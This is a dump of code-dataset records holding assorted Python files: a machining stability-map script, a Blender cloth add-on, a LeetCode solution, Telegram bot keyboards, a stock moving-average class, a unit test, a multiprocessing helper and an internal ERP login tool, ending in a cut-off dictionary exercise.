data.extend(process(i, plan, './WZ2/Rampen/WZ2_'))\r\n # np.save('stabilitymap_WZ2.npy', np.array(data, dtype=np.float32))\r\n\r\n # data = []\r\n # plan = pd.read_excel('./Versuchsplan_WZ3.xlsx')\r\n # for i in range(101, 137):\r\n # data.extend(process(i, plan, './WZ3/Rampen/WZ3_'))\r\n # for i in range(138, 167):\r\n # data.extend(process(i, plan, './WZ3/Rampen/WZ3_'))\r\n # np.save('stabilitymap_WZ3.npy', np.array(data, dtype=np.float32))\r\n\r\n # plan = pd.read_excel('./Versuchsplan_WZ4.xlsx')\r\n # data = []\r\n # for i in range(101, 132):\r\n # data.extend(process(i, plan, './WZ4/Rampen/WZ4_'))\r\n # np.save('stabilitymap_WZ4-100.npy', np.array(data, dtype=np.float32))\r\n # data = []\r\n # for i in range(201, 256):\r\n # data.extend(process(i, plan, './WZ4/Rampen/WZ4_'))\r\n # np.save('stabilitymap_WZ4-200.npy', np.array(data, dtype=np.float32))\r\n # data = []\r\n # for i in range(301, 337):\r\n # data.extend(process(i, plan, './WZ4/Rampen/WZ4_'))\r\n # np.save('stabilitymap_WZ4-300.npy', np.array(data, dtype=np.float32))\r\n\r\n\r\n # plan = pd.read_excel('./Versuchsplan_WZ5.xlsx')\r\n # data = []\r\n # for i in range(101, 169):\r\n # data.extend(process(i, plan, './WZ5/Rampen/WZ5_'))\r\n # np.save('stabilitymap_WZ5-100.npy', np.array(data, dtype=np.float32))\r\n # data = []\r\n # for i in range(201, 235):\r\n # data.extend(process(i, plan, './WZ5/Rampen/WZ5_'))\r\n # np.save('stabilitymap_WZ5-200.npy', np.array(data, dtype=np.float32))\r\n\r\n\r\n plan = pd.read_excel('./Versuchsplan_WZ6.xlsx')\r\n # data = []\r\n # for i in range(101, 156):\r\n # data.extend(process(i, plan, './WZ6/Rampen/WZ6_'))\r\n # np.save('stabilitymap_WZ6-100.npy', np.array(data, dtype=np.float32))\r\n data = []\r\n for i in range(202, 229):\r\n data.extend(process(i, plan, './WZ6/Rampen/WZ6_'))\r\n np.save('stabilitymap_WZ6-200.npy', np.array(data, dtype=np.float32))\r\n data = []\r\n for i in range(301, 339):\r\n data.extend(process(i, plan, './WZ6/Rampen/WZ6_'))\r\n np.save('stabilitymap_WZ6-300.npy', np.array(data, dtype=np.float32))\r\n", "repo_name": "effaeff/wear-sld", "sub_path": "scripts/evaluate.py", "file_name": "evaluate.py", "file_ext": "py", "file_size_in_byte": 7603, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "glob.glob", "line_number": 31, "usage_type": "call"}, {"api_name": "numpy.load", "line_number": 34, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 44, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 44, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.specgram", "line_number": 45, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 45, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.ylim", "line_number": 46, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 46, "usage_type": "name"}, {"api_name": "numpy.where", "line_number": 54, "usage_type": "call"}, {"api_name": "numpy.median", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 56, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 58, "usage_type": "call"}, {"api_name": "numpy.max", "line_number": 64, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.zeros_like", "line_number": 66, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 74, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.diff", "line_number": 75, "usage_type": "call"}, {"api_name": "numpy.argmax", "line_number": 97, "usage_type": "call"}, {"api_name": "numpy.sqrt", "line_number": 109, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 128, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 129, "usage_type": "call"}, {"api_name": "numpy.sum", "line_number": 130, "usage_type": "call"}, {"api_name": "numpy.linspace", "line_number": 131, "usage_type": "call"}, {"api_name": "numpy.where", "line_number": 135, "usage_type": "call"}, {"api_name": "pandas.read_excel", "line_number": 212, "usage_type": "call"}, {"api_name": "numpy.save", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 220, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 220, "usage_type": "attribute"}, {"api_name": "numpy.save", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 224, "usage_type": "call"}, {"api_name": "numpy.float32", "line_number": 224, "usage_type": "attribute"}]} {"seq_id": "13801818852", "text": "from typing import cast\n\nimport bpy\nfrom bpy import types as bt\n\nfrom . import register, unregister\n\n\n# ------------------------------------------------------------------------------\n\nclass FF_AIRMAX_OP_add_sewn_pillow_cloth(bt.Operator):\n bl_idname = \"ff_airmax.add_sewn_pillow_cloth\"\n bl_label = \"Add Sewn Pillow Cloth\"\n bl_description = \"Add cloth modifier with custom settings\"\n\n @classmethod\n def poll(cls, context: bt.Context):\n return True\n\n def execute(self, context: bt.Context):\n obj = context.active_object\n mod = cast(bt.ClothModifier, obj.modifiers.new(\"Pillow Cloth\", 'CLOTH'))\n\n mod.settings.quality = 7\n mod.settings.mass = 0.01\n mod.settings.shear_stiffness = 5.0\n mod.settings.bending_stiffness = 15.0\n\n mod.settings.use_pressure = True\n mod.settings.uniform_pressure_force = 3.5\n\n mod.settings.use_sewing_springs = True\n\n mod.collision_settings.use_self_collision = True\n mod.collision_settings.distance_min = 0.001\n mod.collision_settings.self_distance_min = 0.001\n mod.collision_settings.collision_quality = 5\n\n return {'FINISHED'}\n\n# ------------------------------------------------------------------------------\n\nclass FF_AIRMAX_OP_bake_cloth_modifier(bt.Operator):\n bl_idname = \"ff_airmax.bake_cloth_modifier\"\n bl_label = \"Bake Cloth Modifier\"\n bl_description = \"Duplicate with baked cloth modifier\"\n\n @classmethod\n def poll(cls, context: bt.Context):\n return True\n\n def execute(self, context: bt.Context):\n obj = context.active_object\n base_name = obj.name\n obj.name = f\"{base_name} BAKE\"\n\n bpy.ops.object.duplicate(mode='DUMMY')\n bpy.context.active_object.name = base_name\n\n context.view_layer.objects.active = obj\n\n for modifier in obj.modifiers:\n bpy.ops.object.modifier_apply(modifier=modifier.name)\n if modifier.type == 'CLOTH':\n break\n\n return {'FINISHED'}\n\n# ------------------------------------------------------------------------------\n\nclass FF_AIRMAX_OP_remove_stitches(bt.Operator):\n bl_idname = \"ff_airmax.remove_stitches\"\n bl_label = \"Remove Stitches\"\n bl_description = \"Delete loose edges\"\n\n @classmethod\n def poll(cls, context: bt.Context):\n return True\n\n def execute(self, context: bt.Context):\n obj = context.active_object\n bpy.ops.object.mode_set(mode='EDIT')\n bpy.ops.mesh.select_all(action='SELECT')\n bpy.ops.mesh.delete_loose(use_verts=False, use_edges=True)\n bpy.ops.mesh.select_all(action='DESELECT')\n bpy.ops.object.mode_set(mode='OBJECT')\n\n return {'FINISHED'}\n\n# ------------------------------------------------------------------------------\n\nclass FF_AIRMAX_OP_reload(bt.Operator):\n bl_idname = \"ff_airmax.reload\"\n bl_label = \"Reload\"\n bl_description = \"Reload add-on\"\n\n def execute(self, context: bt.Context):\n unregister()\n register()\n\n return {'FINISHED'}\n\n# ------------------------------------------------------------------------------\n\ndef register_module():\n bpy.utils.register_class(FF_AIRMAX_OP_add_sewn_pillow_cloth)\n bpy.utils.register_class(FF_AIRMAX_OP_bake_cloth_modifier)\n bpy.utils.register_class(FF_AIRMAX_OP_remove_stitches)\n bpy.utils.register_class(FF_AIRMAX_OP_reload)\n\n\ndef unregister_module():\n bpy.utils.unregister_class(FF_AIRMAX_OP_reload)\n bpy.utils.unregister_class(FF_AIRMAX_OP_remove_stitches)\n bpy.utils.unregister_class(FF_AIRMAX_OP_bake_cloth_modifier)\n bpy.utils.unregister_class(FF_AIRMAX_OP_add_sewn_pillow_cloth)\n", "repo_name": "framefactory/blender-tools", "sub_path": "addons/ff_airmax/operators.py", "file_name": "operators.py", "file_ext": "py", "file_size_in_byte": 3675, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 3, "dataset": "github-code", "pt": "7", "api": [{"api_name": "bpy.types.Operator", "line_number": 11, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 11, "usage_type": "name"}, {"api_name": "bpy.types.Context", "line_number": 17, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 17, "usage_type": "name"}, {"api_name": "bpy.types.Context", "line_number": 20, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 20, "usage_type": "name"}, {"api_name": "typing.cast", "line_number": 22, "usage_type": "call"}, {"api_name": "bpy.types.ClothModifier", "line_number": 22, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 22, "usage_type": "name"}, {"api_name": "bpy.types.Operator", "line_number": 43, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 43, "usage_type": "name"}, {"api_name": "bpy.types.Context", "line_number": 49, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 49, "usage_type": "name"}, {"api_name": "bpy.types.Context", "line_number": 52, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 52, "usage_type": "name"}, {"api_name": "bpy.ops.object.duplicate", "line_number": 57, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 57, "usage_type": "attribute"}, {"api_name": "bpy.context", "line_number": 58, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.modifier_apply", "line_number": 63, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 63, "usage_type": "attribute"}, {"api_name": "bpy.types.Operator", "line_number": 71, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 71, "usage_type": "name"}, {"api_name": "bpy.types.Context", "line_number": 77, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 77, "usage_type": "name"}, {"api_name": "bpy.types.Context", "line_number": 80, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 80, "usage_type": "name"}, {"api_name": "bpy.ops.object.mode_set", "line_number": 82, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 82, "usage_type": "attribute"}, {"api_name": "bpy.ops.mesh.select_all", "line_number": 83, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 83, "usage_type": "attribute"}, {"api_name": "bpy.ops.mesh.delete_loose", "line_number": 84, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 84, "usage_type": "attribute"}, {"api_name": "bpy.ops.mesh.select_all", "line_number": 85, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 85, "usage_type": "attribute"}, {"api_name": "bpy.ops.object.mode_set", "line_number": 86, "usage_type": "call"}, {"api_name": "bpy.ops", "line_number": 86, "usage_type": "attribute"}, {"api_name": "bpy.types.Operator", "line_number": 92, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 92, "usage_type": "name"}, {"api_name": "bpy.types.Context", "line_number": 97, "usage_type": "attribute"}, {"api_name": "bpy.types", "line_number": 97, "usage_type": "name"}, {"api_name": "bpy.utils.register_class", "line_number": 106, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 106, "usage_type": "attribute"}, {"api_name": "bpy.utils.register_class", "line_number": 107, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 107, "usage_type": "attribute"}, {"api_name": "bpy.utils.register_class", "line_number": 108, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 108, "usage_type": "attribute"}, {"api_name": "bpy.utils.register_class", "line_number": 109, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 109, "usage_type": "attribute"}, {"api_name": "bpy.utils.unregister_class", "line_number": 113, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 113, "usage_type": "attribute"}, {"api_name": "bpy.utils.unregister_class", "line_number": 114, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 114, "usage_type": "attribute"}, {"api_name": "bpy.utils.unregister_class", "line_number": 115, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 115, "usage_type": "attribute"}, {"api_name": "bpy.utils.unregister_class", "line_number": 116, "usage_type": "call"}, {"api_name": "bpy.utils", "line_number": 116, "usage_type": "attribute"}]} {"seq_id": "72685470944", "text": "from typing import List\n\n\nclass Solution:\n def backspaceCompare(self, S: str, T: str) -> bool:\n return self.getString(S) == self.getString(T)\n\n def getString(self, string: str) -> List[str]:\n stack = []\n for c in string:\n if len(stack) > 0 and c == '#':\n stack.pop()\n elif c != '#':\n stack.append(c)\n return stack\n", "repo_name": "daviddwlee84/LeetCode", "sub_path": "Python3/String/BackspaceStringCompare/Naive844.py", "file_name": "Naive844.py", "file_ext": "py", "file_size_in_byte": 400, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 15, "dataset": "github-code", "pt": "7", "api": [{"api_name": "typing.List", "line_number": 8, "usage_type": "name"}]} {"seq_id": "27259079260", "text": "from aiogram.types import ReplyKeyboardMarkup, KeyboardButton\n\nhelp_menu_kb = ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)\n\nhelp_menu_kb.add(KeyboardButton('/start'), KeyboardButton('/end'), KeyboardButton('/get_total'),\n KeyboardButton('/calc'))\n\nstart_menu_kb = ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)\n\nstart_menu_kb.add(KeyboardButton('/help'), KeyboardButton('/150'))\n\nset_menu_kb = ReplyKeyboardMarkup(one_time_keyboard=True, resize_keyboard=True)\n\nset_menu_kb.add(KeyboardButton('/Орел'), KeyboardButton('/Решка'))\n\npick_candys_kb = ReplyKeyboardMarkup(resize_keyboard=True)\n\npick_candys_kb.row(KeyboardButton('1'), KeyboardButton('2'), KeyboardButton('3'),\n KeyboardButton('4'), KeyboardButton('5'), KeyboardButton('6'),\n KeyboardButton('7'), )\npick_candys_kb.row(KeyboardButton('8'), KeyboardButton('9'), KeyboardButton('10'),\n KeyboardButton('11'), KeyboardButton('12'), KeyboardButton('13'),\n KeyboardButton('14'), )\npick_candys_kb.row(KeyboardButton('15'), KeyboardButton('16'), KeyboardButton('17'),\n KeyboardButton('18'), KeyboardButton('19'), KeyboardButton('20'),\n KeyboardButton('21'), )\npick_candys_kb.row(KeyboardButton('22'), KeyboardButton('23'), KeyboardButton('24'),\n KeyboardButton('25'), KeyboardButton('26'), KeyboardButton('27'),\n KeyboardButton('28'), )\npick_candys_kb.row(KeyboardButton('/start'), KeyboardButton('/end'))\n", "repo_name": "Toxaencom1/PythonHomeWork", "sub_path": "DZ9/keyboards.py", "file_name": "keyboards.py", "file_ext": "py", "file_size_in_byte": 1566, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "7", "api": [{"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 3, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 5, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 6, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 8, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 10, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 12, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 14, "usage_type": "call"}, {"api_name": "aiogram.types.ReplyKeyboardMarkup", "line_number": 16, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 18, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 19, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 20, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 21, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 22, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 23, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 24, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 25, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 26, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 27, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 28, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 29, "usage_type": "call"}, {"api_name": "aiogram.types.KeyboardButton", "line_number": 30, "usage_type": "call"}]} {"seq_id": "18991842929", "text": "#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Aug 2 12:44:31 2018\n\n@author: sgb\n\"\"\"\nimport pandas as pd\nfrom datetime import datetime\nfrom AlphaVantage.AlphaBehavior import AlphaBehavior\nfrom Utilities.DateAdjuster import DateAdjuster\n\nclass AlphaBehavior_20DayAvg(AlphaBehavior):\n \n def __init__(self):\n super().__init__()\n self.da = DateAdjuster()\n \n def getStockData(self, baseURL, endpoint, ticker, outputSize, \n credentials, end_date, start_date):\n \n alphaData = super().getStockData(baseURL, endpoint, ticker, \n outputSize, credentials, end_date, start_date)\n \n output = pd.DataFrame()\n if len(alphaData) > 0:\n close_price = []\n date = []\n for key, value in sorted(alphaData.items()):\n close_price.append(float(alphaData[key]['4. close']))\n date.append(datetime.strftime(key, '%Y-%m-%d'))\n output = pd.DataFrame({'ticker' : ticker,\n 'close_price' : close_price,\n '20Day_Avg_Date' : date})\n \n output['20Day_Avg'] = output['close_price'].rolling(20, min_periods = 1).mean()\n \n output = pd.DataFrame(output[['ticker', \n '20Day_Avg', \n '20Day_Avg_Date']].iloc[len(output)-1]).T\n else:\n print('Unable to retrieve 20-day moving average from AlphaVantage for ' + ticker)\n \n return output", "repo_name": "stevegbrooks/stock-search", "sub_path": "AlphaVantage/AlphaBehavior_20DayAvg.py", "file_name": "AlphaBehavior_20DayAvg.py", "file_ext": "py", "file_size_in_byte": 1608, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "AlphaVantage.AlphaBehavior.AlphaBehavior", "line_number": 13, "usage_type": "name"}, {"api_name": "Utilities.DateAdjuster.DateAdjuster", "line_number": 17, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 25, "usage_type": "call"}, {"api_name": "datetime.datetime.strftime", "line_number": 31, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 31, "usage_type": "name"}, {"api_name": "pandas.DataFrame", "line_number": 32, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 38, "usage_type": "call"}]} {"seq_id": "19332117320", "text": "from nose.tools import eq_\n\nfrom orchestrator.util import dict_merge\n\n\n__author__ = 'sukrit'\n\n\"\"\"\nTest for :mod: `deployer.util`\n\"\"\"\n\n\ndef test_dict_merge():\n \"\"\"\n should merge the two dictionaries\n \"\"\"\n\n # Given: Dict obj that needs to be merged\n dict1 = {\n 'key1': 'value1',\n 'key2': {\n 'key2.1': 'value2.1a'\n }\n }\n\n dict2 = {\n 'key3': 'value3',\n 'key2': {\n 'key2.1': 'value2.1b',\n 'key2.2': 'value2.2a'\n }\n }\n\n # When: I merge the two dictionaries\n merged_dict = dict_merge(dict1, dict2)\n\n # Then: Merged dictionary is returned\n eq_(merged_dict, {\n 'key1': 'value1',\n 'key2': {\n 'key2.1': 'value2.1a',\n 'key2.2': 'value2.2a'\n },\n 'key3': 'value3',\n })\n", "repo_name": "totem/cluster-orchestrator", "sub_path": "tests/unit/orchestrator/test_util.py", "file_name": "test_util.py", "file_ext": "py", "file_size_in_byte": 819, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 2, "dataset": "github-code", "pt": "7", "api": [{"api_name": "orchestrator.util.dict_merge", "line_number": 35, "usage_type": "call"}, {"api_name": "nose.tools.eq_", "line_number": 38, "usage_type": "call"}]} {"seq_id": "18327679299", "text": "import multiprocessing\r\nimport datetime\r\n\r\n__version__ = 'v1.1'\r\n\r\n\r\ndef parallelize(proc_quan, main_func, storage_unit_names):\r\n '''\r\n Функция, позволяющая работать с несколькими таблицами или\r\n коллекциями в несколько соответствующих параллельных процессов.\r\n '''\r\n with multiprocessing.Pool(proc_quan) as pool_obj:\r\n exec_time_start = datetime.datetime.now()\r\n pool_obj.map(main_func, storage_unit_names)\r\n exec_time = datetime.datetime.now() - exec_time_start\r\n return exec_time\r\n", "repo_name": "PlatonB/high-perf-bio", "sub_path": "backend/parallelize.py", "file_name": "parallelize.py", "file_ext": "py", "file_size_in_byte": 630, "program_lang": "python", "lang": "ru", "doc_type": "code", "stars": 8, "dataset": "github-code", "pt": "7", "api": [{"api_name": "multiprocessing.Pool", "line_number": 12, "usage_type": "call"}, {"api_name": "datetime.datetime.now", "line_number": 13, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 13, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 15, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 15, "usage_type": "attribute"}]} {"seq_id": "43526560955", "text": "# -*- coding:utf8 -*-\n\nimport collections\nfrom common.base import *\nimport requests\nimport json\nfrom common.base import consoleLog\nimport re\n\n\n\ndef myRequest(interfaceURL ,data=None, needCookie=True, contentType='application/json', method='post',Value=False):\n \"\"\"\n 接口请求方法\n :param url:\n :param data:\n :param needCookie:\n :param contentType:\n :param method:\n :param returnValue:\n :return:\n \"\"\"\n headers = {\n 'content-type' : contentType,\n 'User-Agent' : 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36'\n }\n cookie = eval(get_conf('cookieInfo', 'cookies'))\n\n if method == 'get':\n if needCookie:\n try:\n request = requests.get(interfaceURL, headers=headers,cookies=cookie)\n except BaseException as e:\n return e\n else:\n try:\n request = requests.get(interfaceURL, headers=headers)\n except BaseException as e:\n return e\n\n if method == 'post':\n if needCookie:\n try:\n request = requests.post(interfaceURL, data=json.dumps(eval(data)), headers=headers, cookies=cookie)\n except BaseException as e:\n return e\n else:\n try:\n request = requests.post(interfaceURL, data=json.dumps(eval(data)), headers=headers)\n except BaseException as e:\n return e\n\n if method == 'put':\n if needCookie:\n try:\n request = requests.put(interfaceURL, data=json.dumps(eval(data)), headers=headers, cookies=cookie)\n except BaseException as e:\n return e\n else:\n try:\n request = requests.put(interfaceURL, data=json.dumps(eval(data)), headers=headers)\n except BaseException as e:\n return e\n\n result = json.loads(request.text)\n if Value:\n return result\n elif request.status_code is not 200 or result['code'] is -1:\n msg = result['msg'].encode('utf-8')\n return ((u'接口异常！\\n接口地址：%s\\n请求参数：%s\\n返回结果：%s') % (interfaceURL, data, msg.decode('utf-8')))\n else:\n return result[\"code\"]\n\n\n\ndef get_cookie():\n user, pwd = get_conf('loginUser', 'user'), get_conf('loginUser', 'pwd')\n \"get_cookie\"\n needClient = None\n # 默认登录不使用客户端，如果报错，则赋值给needClient为True，然后调用客户端的登录接口进行校验\n url = 'http://isz.ishangzu.com/isz_base/LoginController/login.action'\n data = {\n 'user_phone': user, 'user_pwd': pwd, 'auth_code': '', 'LechuuPlatform': 'LECHUU_CUSTOMER',\n 'version': '1.0.0'\n }\n headers = {\n 'content-type': 'application/json',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36'\n }\n response = requests.post(url, data=json.dumps(data), headers=headers)\n result = json.loads(response.text)\n if result['msg'] == '登录成功' or result['msg'] == u'非生产环境,不做校验！':\n cookies = requests.utils.dict_from_cookiejar(response.cookies)\n set_conf('cookieInfo', cookies=str(cookies))\n return result['msg']\n elif u'密码错误' in result['msg']:\n return result['msg']\n elif \"账号不存在\" in result['msg']:\n return result['msg']\n else:\n needClient = True\n if needClient:\n from common.getAuthKey import getAuthKey\n auth_key = getAuthKey()\n # 检查授权\n url = 'isz_base/LoginAuthController/checkLoginAuth.action'\n data ={'auth_key': auth_key}\n result = myRequest(url, data, needCookie=False)\n if u'授权成功' in result['msg']:\n auth_code = result['obj']['authList'][0]['auth_code']\n authTag = result['obj']['authTag']\n else:\n msg = result['msg'].encode('utf-8')\n consoleLog(u'接口异常！\\n接口地址：%s\\n请求参数：%s\\n返回结果：%s' % (url, data, msg.decode('utf-8')), 'w')\n raise u'客户端登录第一步：检查授权失败'\n\n # 检查用户名密码\n url = 'isz_base/LoginController/checkUserPassWord.action'\n data = {\n 'auth_code': auth_key,\n 'authTag': authTag,\n 'user_phone': user, 'user_pwd': pwd\n }\n result = myRequest(url, data, needCookie=False)\n if u'用户名密码正确' not in result['msg']:\n msg = result['msg'].encode('utf-8')\n consoleLog(u'接口异常！\\n接口地址：%s\\n请求参数：%s\\n返回结果：%s' % (url, data, msg.decode('utf-8')), 'w')\n raise u'客户端登录第二步：检查用户名密码失败'\n\n # 获取短信验证码\n url = 'isz_base/LoginController/getVerificationCode.action'\n data = {\n 'authTag': authTag,\n 'mobile': user\n }\n result = myRequest(url, data, needCookie=False)\n if result['msg'] != 'ok' and u'验证码发送过于频繁' not in result['msg']:\n msg = result['msg'].encode('utf-8')\n consoleLog(u'接口异常！\\n接口地址：%s\\n请求参数：%s\\n返回结果：%s' % (url, data, msg.decode('utf-8')), 'w')\n raise u'客户端登录第三步：获取短信验证码失败'\n\n # 验证码登录\n url = 'isz_base/LoginController/checkVerificationCode.action'\n data = {\n 'auth_code': auth_key,\n 'authTag': authTag,\n 'user_phone': user,\n 'user_pwd': pwd,\n 'verificationCode': '0451'\n }\n # 判断是否是开发部，然后决定验证码是默认的0451还是从数据库查最新收到的\n if myRequest(url, data, needCookie=False):\n sql = \"select * from sys_department_flat where dept_id=(SELECT dep_id from sys_department where dep_name = '技术开发中心') and child_id=(\" \\\n \"SELECT dep_id from sys_user where user_phone = '%s' and user_status = 'INCUMBENCY')\" % user\n if get_count(sql) == 0:\n content = searchSQL(\"SELECT content from sms_mt_his where destPhone = '%s' ORDER BY create_time desc limit 1\" % user)[0]\n sms_code = re.findall('验证码：(.*?)，', content.encode('utf-8'))[0]\n data['verificationCode'] = sms_code\n headers = {\n 'content-type': 'application/json',\n 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.110 Safari/537.36'\n }\n url = 'http://isz.ishangzu.com/isz_base/LoginController/checkVerificationCode.action'\n response = requests.post(url, data=json.dumps(data), headers=headers)\n result = json.loads(response.text)\n if result['msg'] == 'ok':\n cookies = requests.utils.dict_from_cookiejar(response.cookies)\n print (cookies)\n set_conf('cookieInfo', cookies=cookies)\n else:\n msg = result['msg'].encode('utf-8')\n consoleLog(u'接口异常！\\n接口地址：%s\\n请求参数：%s\\n返回结果：%s' % (url, data, msg.decode('utf-8')), 'w')\n raise u'客户端登录第四步：验证码登录失败'\n\n\n\n\n\n\n\n\n", "repo_name": "chenfeihong0217/ErpTool", "sub_path": "isz_tool_web/common/interface.py", "file_name": "interface.py", "file_ext": "py", "file_size_in_byte": 7406, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "7", "api": [{"api_name": "requests.get", "line_number": 32, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 37, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 44, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 44, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 49, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 49, "usage_type": "call"}, {"api_name": "requests.put", "line_number": 56, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 56, "usage_type": "call"}, {"api_name": "requests.put", "line_number": 61, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 61, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 65, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 90, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 90, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 91, "usage_type": "call"}, {"api_name": "requests.utils.dict_from_cookiejar", "line_number": 93, "usage_type": "call"}, {"api_name": "requests.utils", "line_number": 93, "usage_type": "attribute"}, {"api_name": "common.getAuthKey.getAuthKey", "line_number": 104, "usage_type": "call"}, {"api_name": "common.base.consoleLog", "line_number": 114, "usage_type": "call"}, {"api_name": "common.base.consoleLog", "line_number": 127, "usage_type": "call"}, {"api_name": "common.base.consoleLog", "line_number": 139, "usage_type": "call"}, {"api_name": "re.findall", "line_number": 157, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 164, "usage_type": "call"}, {"api_name": "json.dumps", "line_number": 164, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 165, "usage_type": "call"}, {"api_name": "requests.utils.dict_from_cookiejar", "line_number": 167, "usage_type": "call"}, {"api_name": "requests.utils", "line_number": 167, "usage_type": "attribute"}, {"api_name": "common.base.consoleLog", "line_number": 172, "usage_type": "call"}]} {"seq_id": "70734949983", "text": "from random import randint\nfrom time import sleep\nfrom operator import itemgetter\nfrom datetime import datetime\nclass dic:\n pessoas = dict()\n conjunto = []\n mulheres = []\n maiores = []\n soma = 0\n while True:\n pessoas['nome'] = str(input('Nome: '))\n pessoas['sexo'] = str(input('Sexo [M/F]: ')).upper()\n pessoas['idade'] = int(input('Idade: '))\n soma += pessoas['idade']\n conjunto.append(pessoas.copy())\n if pessoas['sexo'] == 'F':\n mulheres.append(pessoas.copy())\n escolha = str(input('Quer continuar? [S/N] ')).upper()\n if escolha == 'N':\n break\n media 